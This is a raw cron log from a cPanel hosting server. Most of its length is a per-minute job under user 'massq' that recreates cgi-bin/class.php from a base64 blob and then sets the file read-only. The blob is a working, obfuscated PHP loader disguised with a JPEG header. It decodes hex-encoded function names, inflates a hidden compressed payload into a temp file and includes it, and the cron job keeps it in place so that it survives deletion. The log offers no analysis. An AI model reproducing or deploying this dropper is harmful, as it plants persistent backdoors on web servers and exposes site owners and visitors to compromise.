Sep  5 10:48:01 server CROND[15038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:49:01 server CROND[15423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:49:01 server CROND[15425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:49:01 server CROND[15424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:50:01 server CROND[15826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:50:01 server CROND[15828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:50:01 server CROND[15829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:50:01 server CROND[15833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:50:01 server CROND[15837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:50:01 server CROND[15836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:50:01 server CROND[15839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:50:01 server CROND[15840]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:50:01 server CROND[15835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:51:01 server CROND[16723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:51:01 server CROND[16725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:51:01 server CROND[16724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:52:01 server CROND[17217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:52:01 server CROND[17218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:52:01 server CROND[17219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:53:01 server CROND[17675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:53:01 server CROND[17674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:53:01 server CROND[17676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:54:01 server CROND[18054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:54:01 server CROND[18055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:54:01 server CROND[18056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:55:01 server CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:55:01 server CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:55:01 server CROND[18450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:55:01 server CROND[18451]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:55:01 server CROND[18452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:55:01 server CROND[18454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:55:01 server CROND[18453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:56:01 server CROND[19282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:56:01 server CROND[19283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:56:01 server CROND[19284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:57:01 server CROND[19756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:57:01 server CROND[19757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:57:01 server CROND[19758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:57:01 server CROND[19759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:58:01 server CROND[20139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:58:01 server CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:58:01 server CROND[20141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:59:01 server CROND[20521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:59:01 server CROND[20522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:59:01 server CROND[20520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:00:01 server CROND[20920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:00:01 server CROND[20936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:00:01 server CROND[20935]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:00:01 server CROND[20938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:00:01 server CROND[20939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:00:01 server CROND[20937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
